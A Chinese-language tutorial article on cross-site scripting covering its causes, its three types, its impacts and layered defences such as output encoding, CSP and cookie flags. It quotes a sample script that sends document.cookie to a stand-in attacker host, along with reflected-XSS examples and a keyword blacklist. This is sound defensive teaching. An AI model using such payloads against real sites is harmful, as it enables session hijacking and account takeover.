
1. 从一个弹窗开始说起如果你做过几年Web开发或安全测试大概率见过这种场景某个输入框里填入一段带script标签的内容点击提交后页面直接弹出一个alert框。很多人第一次看到这个弹窗不以为然觉得不过是“页面能执行我写的脚本”而已。但如果你在真实业务系统里看到这个弹窗第一反应应该是系统已经被撕开了一个口子。XSSCross-Site Scripting跨站脚本攻击是Web安全领域出现频率最高、影响面最广的漏洞类型之一。它不是某个框架、某个语言的专属问题而是“把用户输入当代码执行”这一普遍设计缺陷的集中体现。无论是传统的前后端不分离页面、还是现在流行的前后端分离架构只要HTML拼接、URL参数处理、前端渲染环节存在疏漏XSS就能找到落脚点。这篇文章从原理、分类、危害、防御四个维度展开结合我在实际项目里踩过的坑和修补过的漏洞尽量把这条链路讲透。无论你是刚接触安全的开发者还是已经写过不少防御代码的工程师这篇文章应该都能给你一些可落地的参考。2. 原理再拆解浏览器为什么会执行“不怀好意”的代码2.1 根本原因是把数据当成了代码要理解XSS先要理解浏览器的一个核心机制HTML页面是由浏览器解析执行的浏览器会把script标签里的内容当成JavaScript代码来执行。这本身没问题问题是——当这段代码来自用户输入、且未经处理就被插入到页面HTML中时页面就不再是“开发者写的页面”而变成了“开发者写的页面用户塞进来的代码”。我常用一个类比来解释这个概念你把一段文本交给印刷厂排版结果文本里藏着排版指令印刷厂不加辨别直接执行了。你以为自己印了一行字实际印出来的是“把保险柜打开”。浏览器就是那个印刷厂HTML和JavaScript就是排版指令。举个最直观的例子。假设你的网站有一个留言板功能某用户提交了如下内容scriptdocument.locationhttp://evil.example.com/steal?cookiedocument.cookie/script如果服务端直接把这条留言拼接进页面HTML并返回给其他用户那么所有看到这条留言的用户浏览器都会执行这段脚本把当前网站的Cookie发送到攻击者指定的地址。这里有一个关键点XSS利用的是“用户A的输入被用户B的浏览器执行”的信任关系。用户B访问的是你开发的网站浏览器信任你的网站所以也会信任“从你网站返回的代码”。攻击者正是利用这种信任把自己的代码伪装成网站自身的代码。2.2 同源策略为何拦不住XSS很多初学者会问浏览器不是有同源策略吗为什么脚本可以跨域发送请求同源策略约束的是“页面里的脚本能访问哪些资源”它限制的是A网站的脚本不能读取B网站的数据。但XSS的问题恰恰在于恶意脚本运行在“受害网站的页面”里它和受害网站是同源的。浏览器分不清这段脚本是开发者写的还是攻击者注入的它只知道“这个页面里的代码可以访问这个页面的数据”。所以同源策略是防线但它防的是“外部脚本入侵”防不了“内部脚本叛变”。XSS相当于攻击者绕过城门直接从内部策反了守卫。2.3 一个看得见的完整攻击链路为了让你对全过程有一个清晰的认知我画一条时间线来描述一次最小化的攻击攻击者在评论区提交恶意Payload。服务端没有过滤、没有编码原样存储。受害用户访问该页面浏览器请求评论数据。服务端返回包含恶意代码的完整HTML。浏览器解析HTML执行恶意脚本。恶意脚本把受害用户的Cookie、Token等敏感信息发送到攻击者服务器。攻击者利用窃取的身份信息以受害用户身份执行操作。这条链路里攻击者的代码在受害者的浏览器里获得了完整的页面权限包括读写页面内容、访问Cookie、发请求、控制页面跳转。这就是XSS被称为“持久化植入”的原因——它把攻击代码“种”进了别人的页面。3. XSS家族的三大分类以及它们各自的脾气3.1 存储型XSS危险系数最高存储型XSS又称持久型XSS是最严重的一类。恶意代码被持久化存储在服务端数据库、文件、缓存等每次页面加载都会被执行攻击者不需要再“诱导用户点击链接”只要用户访问了包含恶意数据的页面就会中招。典型的存储型XSS场景包括评论区、用户昵称、个人签名、商品评价、日志系统展示、一切会被保存并在管理端或用户端展示的内容。我记得在某后台管理系统里排查过一次案例管理员可以在“公告管理”里编辑公告内容公告编辑页面对HTML做了简单的标签白名单但公告列表页却直接使用innerHTML渲染公告摘要。结果攻击者在公告正文里提交了一段脚本虽然编辑页面被过滤了但列表页没有过滤管理员每次打开列表页都会触发脚本。这就是“写入端过滤、展示端裸奔”的典型失守。3.2 反射型XSS需要骗你点一下反射型XSS又称非持久型XSS的特点是恶意代码不在服务端存储而是“反射”在响应里。攻击者构造一个恶意URL诱导受害者点击URL参数里携带Payload服务端直接把这个参数的取值拼接到HTML响应中浏览器执行Payload。这类XSS需要受害者主动点击攻击者提供的链接因此往往结合钓鱼场景伪装成“系统通知”、“密码过期修改”等邮件或消息诱导用户点击。反射型XSS最常见的触发点包括搜索页的关键词回显、错误信息页面的参数回显、登录失败后的用户名回显、页面跳转时的参数拼接。举个例子https://example.com/search?keywordscriptalert(document.cookie)/script如果服务端把keyword的值原样回显到页面HTML中那么这个链接一旦被点击页面就会执行alert脚本。3.3 DOM型XSS纯前端战场DOM型XSS和前面两类有一个本质区别它的Payload不需要经过服务端直接在浏览器端的DOM操作过程中被触发。攻击者构造的URL参数、location.hash、window.name、postMessage消息、本地存储中的数据被前端JavaScript读取经过某个不安全的DOM操作innerHTML、document.write、eval、outerHTML、insertAdjacentHTML等注入到页面中从而执行恶意代码。DOM型XSS的特点是服务端返回的HTML本身是干净的Payload只在浏览器端发生“数据到代码”的转换因此很多服务端WAFWeb Application FirewallWeb应用防火墙无法检测到它。这也是近年来前端框架大量使用后DOM型XSS占比越来越高的原因之一。3.4 三类XSS横向对比维度存储型XSS反射型XSSDOM型XSSPayload存储位置服务端数据库/文件不存储在URL等请求参数里不存储在浏览器端数据源里触发方式页面加载即触发无需用户额外操作需要用户点击恶意链接页面加载后前端逻辑触发攻击者难度较低只需提交一次Payload较高需要诱导用户点击较高需要构造特定场景危害范围所有访问该页面的用户仅点击链接的用户满足特定前端条件的用户检测难度相对容易服务端可见中等需结合流量分析较难纯前端行为防御思路上三种类型都遵循同一个原则不信任任何输入输出前做上下文相关编码。但检测方式差别很大存储型重点查服务端入参出参反射型重点查URL参数回显点DOM型重点查前端代码里的危险DOM操作。4. 危害远不止弹个窗那么简单4.1 从Cookie窃取到账号接管XSS最经典的利用方式就是窃取Cookie。Cookie里通常包含会话标识攻击者拿到受害者的Cookie就等于拿到了受害者的“登录状态”可以直接冒充受害者发起请求。具体做法一般是这样的攻击者构造Payload脚本读取document.cookie通过一个HTTP请求发送到攻击者控制的服务器。受害者毫不知情攻击者已经完成了会话劫持。如果一个系统里有普通用户和管理员用户那么攻击者会优先盯上管理员。管理员一旦浏览了含有存储型XSS的页面攻击者就能拿到管理员的会话Cookie进而登录后台。这和高管邮箱被“钓鱼”之后能转走公司全部资金是一个逻辑——拿到一把高权限钥匙后续做什么都方便。4.2 页面内容篡改与钓鱼伪装XSS的另一个危害是篡改页面内容。恶意脚本可以直接修改DOM把正常的页面内容替换为攻击者伪造的登录表单、转账确认框、验证码提示等。用户看到的是“自己信任的网站”弹出了“合理”的请求于是顺利成章地输入了自己的账号密码、支付密码、银行卡号。这种方式比单独发钓鱼网站链接要隐蔽得多——因为用户访问的URL确实是你网站的URLSSL证书也正常只是页面内容被“注入”了。即使用户检查地址栏也无法发现异常。4.3 键盘记录与敏感信息窃取恶意脚本可以监听用户的键盘事件、鼠标事件记录用户在页面上的所有输入。包括但不限于登录密码、搜索关键词、聊天内容、支付信息。还有一种常用手段是“表单劫持”脚本在页面里插入一个隐藏的iframe或表单诱导用户输入或者监听现有表单的submit事件在提交时额外发送一份数据给攻击者。4.4 蠕虫传播XSS的另一副面孔存储型XSS还有一个令人生畏的进阶形态——XSS蠕虫。恶意脚本除了窃取数据之外还能利用受害者的身份在社交平台、论坛、邮件系统里以受害者的名义继续发布包含恶意代码的内容实现“自我复制、自我传播”。历史上出现过不只一次XSS蠕虫事件某个社交平台被注入脚本后所有浏览特定页面的用户都会自动转发包含恶意脚本的消息消息又被更多用户看到形成指数级传播。这类事件的破坏力已经超出了“漏洞”的范畴更像是计算机病毒。4.5 对业务和信任的隐形损耗最后说一个容易被低估的危害业务信任损耗。一个电商平台如果频繁被爆出XSS漏洞用户会怎么想——“这网站连我的账号密码都保护不了我还敢在它上面付钱吗”安全漏洞不只是技术债还是品牌资产损伤。对内部系统来说如果管理后台存在XSS漏洞被外部攻击者利用泄露的内部业务数据甚至会直接影响公司决策层的判断、招投标价格策略、客户信息等核心机密。5. 防御方案从“不要信”到“别乱渲”5.1 核心原则一切输入不可信一切输出要看上下文XSS防御的本质只有一句话在所有将动态数据插入HTML、属性、JavaScript、CSS、URL的地方使用与上下文匹配的编码方式。这句话拆开来理解动态数据插入在HTML标签的文本节点里要对、、等字符做HTML实体编码。动态数据插入在HTML属性里如value...要对引号、尖括号、等做属性上下文编码。动态数据插入在JavaScript字符串里要对引号、反斜杠、换行符做JavaScript编码。动态数据插入在CSS里要对特殊符号做CSS编码。动态数据插入在URL里要对URL特殊字符做URL编码。每种上下文有一套独立的编码规则不能混淆。很多防御方案失效就是因为“只用了一种编码方式试图应对所有场景”。5.2 输出编码的具体实践以Java后端为例我列一下常见上下文的安全编码方式场景做法示例HTML标签内容HTML实体编码→lt;→gt;→amp;→quot;HTML属性值属性编码额外编码引号单引号、双引号都需要编码防止逃逸出属性边界JavaScript字符串JavaScript编码反斜杠、引号、换行、/script闭合标签URL参数URL编码%xx编码避免改变URL结构CSS上下文CSS编码十六进制转义这里要强调一个特别容易踩的坑在JavaScript字符串里仅做HTML实体编码是不够的。比如var name ?php echo $username; ?;假设$username的值是;alert(1);//如果只做HTML实体编码被编码成quot;浏览器解析HTML时会先把实体还原成原始字符然后再执行JavaScript。这时候照样逃逸字符串边界还是会触发XSS。所以JavaScript上下文的编码必须单独处理不能依赖HTML实体编码。在我实际做审计的时候见过不少“过滤写了不少编码也做了但漏洞还在”的案例归根结底就是上下文没配对。5.3 输入校验白名单优先黑名单兜底输入校验是第二道防线。核心思路是能在入站时拦住的数据就不要拖到出站时处理。白名单校验明确“允许什么格式”其余一律拒绝。例如用户ID只允许数字和字母、邮箱只允许邮箱格式、类名前缀只允许特定字符集、URL只允许http或https协议开头。黑名单过滤拦截已知的危险关键字如script、javascript:、onerror、expression(、svg、iframe等。黑名单的问题是永远不可能穷举所有绕过方式而且不同浏览器对HTML解析有细微差异导致同一个Payload在不同浏览器里表现不同。所以黑名单只能作为兜底不能作为主防线。还需要提醒一点不要试图在前端做输入校验然后认为“前端拦住了后端不需要再拦”。前端校验只是为了提升用户体验真正的安全防线必须落在服务端。攻击者可以完全绕过前端直接构造HTTP请求打到服务端。5.4 CSP最后一道主动防御CSPContent Security Policy内容安全策略是目前浏览器层面上最有效的XSS防御手段之一。它的核心思想是告诉浏览器“页面里哪些来源的脚本是可以执行的”不在白名单里的脚本一律不允许执行。一个典型的CSP响应头配置Content-Security-Policy: default-src self; script-src self https://cdn.example.com; object-src none; base-uri self意思是默认只允许同源内容脚本只能来自同源和https://cdn.example.com禁止加载object标签Flash等已淘汰插件base标签不能改变页面基准地址。CSP能拦截绝大多数内联脚本注入因为即便攻击者把script标签注入到页面里浏览器也会因为script-src不允许unsafe-inline而拒绝执行。但CSP有两个常见坑如果业务页面大量使用了内联事件处理属性onclick...或javascript:伪协议开启严格的CSP会导致业务功能失效。解决方案是逐步迁移到事件监听器绑定或者先使用script-src unsafe-inline过渡但必须清楚这会把CSP的防护能力降一大截。线上环境建议先用Content-Security-Policy-Report-Only模式观察一段时间把被误伤的合法脚本都列入report确认无误后再切换为强制执行模式。5.5 HttpOnly与Cookie安全属性HttpOnly是Cookie的一个属性设置后浏览器禁止JavaScript访问document.cookie。这样即使XSS成功执行恶意脚本也无法直接读取Cookie值会话劫持的难度会大幅上升。还有一个容易被忽略的属性是SameSite。它用于限制跨站请求是否携带CookieSameSiteLax可以阻止大部分跨站请求携带Cookie对CSRF和部分XSS后续利用都有抑制作用。我在实际项目中见过一个典型配置方式Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLaxSecure属性确保Cookie只在HTTPS连接中传输避免明文网络中夹带泄露SameSiteLax平衡安全与兼容性HttpOnly直接堵死JavaScript读取路径。5.6 可信HTML过滤只放行“安全”的富文本业务需求里经常出现“允许用户输入富文本”加粗、变色、插入图片、链接等不可能粗暴地全部转义因为那样富文本功能就废了。这类场景需要做可信HTML过滤。常见方案是使用经过安全加固的富文本过滤库服务端或前端均可。这类库严格维护一个白名单标签和属性集合并过滤掉事件属性、javascript:协议、CSS表达式等危险项。用库不等于万事大吉需要注意几个细节过滤结果不能只做一次入库时要过滤出库展示时也要过滤。曾经有过的教训是只做了展示端过滤攻击者发送的原始Payload直接存在数据库里虽然展示被过滤了但如果其他系统基于原始数据做处理比如导出、二次拼接漏洞又会复活。富文本过滤库需要定期升级因为针对过滤器的绕过技术在不断进化。对于“用户头像URL”、“个人主页地址”这类输入更稳妥的做法是只允许http和https协议并尽可能校验域名前缀。5.7 安全开发流程里的规矩防御不能只靠某一个技术点必须建立在整个开发生命周期里。我在团队里推过一套规矩效果还算不错新功能设计阶段做一次“哪里会出现动态数据拼HTML”的梳理形成风险点清单。代码评审时把“输出编码是否配对上下文”作为必查项。测试阶段把XSS Payload集放到自动化测试里每次回归都能跑一遍。上线前的安全扫描至少覆盖三类输入点搜索关键字、URL参数、富文本内容。建立漏洞应急响应机制确认XSS后24小时内给出缓解方案或临时止血措施。6. 实战排查记录与调优思路6.1 一次典型的存储型XSS排查过程有一次同事反馈某个管理后台“页面异常卡顿疑似被注入了死循环脚本”。我接手排查流程大致是这样的第一步复现。打开页面发现控制台里脚本不断报错页面元素里出现了一长串自动执行的事件处理代码。第二步定位来源。查看请求响应发现有一段非常规内容存在于某条用户备注数据中而且该数据的生成时间恰好对应一次异常登录操作。第三步追溯写入路径。向上排查该数据的录入接口发现接口接收了JSON格式数据其中备注字段直接取前端传入值后端未做任何过滤和编码保存数据库后又在列表页原样拼接到HTML里。第四步修复。在写入端增加输入拦截拒绝包含script和事件属性的请求在展示端对该字段做HTML实体编码。第五步清理存量。写脚本扫描全部数据库记录将所有含可疑Payload的字段统一编码后再入库。这次的教训是数据流上“写入”和“展示”被当成两条独立链路处理导致写入端觉得“展示端会编码”展示端觉得“写入端已过滤”相互都依赖对方最后谁都没做。6.2 几个容易被人忽略的XSS隐藏入口日志系统展示页面。线上程序的错误日志、访问日志经常包含Trace参数、请求地址、User-Agent等信息这些数据如果被原样渲染到日志查看页面就是一个天然的存储型XSS投递点。攻击者只需要在请求里放一个恶意UA管理员查日志的时候就中招。导出文件。业务系统导出的Excel、CSV、PDF文件如果单元格内容直接拼接用户数据攻击者可以在数据单元格里写入以、、-开头的公式Payload利用Excel的公式执行能力触发远程加载或命令执行。导出功能的安全校验经常被忽略。iframe的name属性。某些前端逻辑会读取window.name并注入DOMwindow.name在同标签页导航后仍然保留攻击者可以通过构造外部页面跳转来设置受害页面里的window.name。SVG上传。允许用户上传SVG文件时如果不过滤脚本标签SVG内可以包含JavaScript访问该文件时直接执行。JSONP接口。JSONP返回的内容是纯JavaScript如果接口可被注入可控参数等于直接执行任意脚本。6.3 从“事后修补”到“事前预防”的转变我个人的体会是XSS防御最难的不是技术方案而是意识和流程。很多项目组是“等到漏洞被爆出来再补”补的时候只修了被爆的那个点同类问题在下一次测试中又被发现。真正可持续的做法是把“输出编码配对”变成默认习惯把“输入不可信”变成条件反射。前端同学写innerHTML的时候多问一句“这段数据来自哪里”后端同学做response.getWriter().write()拼接的时候多问一句“这里的动态数据会落到哪个上下文”。另外建议团队里维护一个“XSS自检清单”内容包括页面上所有动态插入数据的位置是否都做了对应上下文的编码富文本编辑内容是否经过可信过滤Cookie是否设置了HttpOnly和SameSiteCSP是否已经开启内联脚本是否已经迁移日志展示、导出报表等间接渲染路径是否覆盖前端出现innerHTML、document.write、eval时是否有code review机制把这份清单放进发布流程里比事后打补丁要划算得多。6.4 一些实战调优手法如果你接手的是一个已经线上运行很久的系统短期无法做全面重构以下几个低成本动作可以明显抬高攻击门槛先全站统一加HttpOnly和SameSiteLax这个改动影响面小、收益明显。对全部“搜索关键词回显”类功能做一次HTML实体编码排查这类反射型XSS排查成本低。把CSP的script-src收紧为self并禁止unsafe-inline启动report-only模式收集违规报告。对管理后台类页面额外加一层IP白名单和二次认证压缩攻击者的利用窗口。用自动化XSS扫描工具定期扫域名和API人工审计无法覆盖所有路径工具至少能兜住一部分常规Payload。7. 最后还是想再强调两句XSS这个问题从Web诞生起就存在如今二十多年过去了它依然活跃这说明它很难被某一种技术彻底消灭。它的根子在于Web技术本身的设计HTML是数据和标记混在一块的文本语言只要数据能进入标记文本“代码执行”的边界就永远需要被警惕。我在实际项目里写过不少安全方案也修过不少漏洞最深的一个体会是安全不是某一个环节的“锦上添花”而是所有环节都必须遵守的底线。你不信用户输入不盲信框架输出不跳过编码环节每次把数据插到HTML里都多问一句“这个上下文我处理对了吗”——做到这些XSS就基本没机会。如果这篇文章能让你在写下一行DOM操作、拼接下一个响应、配置下一份Cookie的时候多停顿一秒钟那它就没有白写。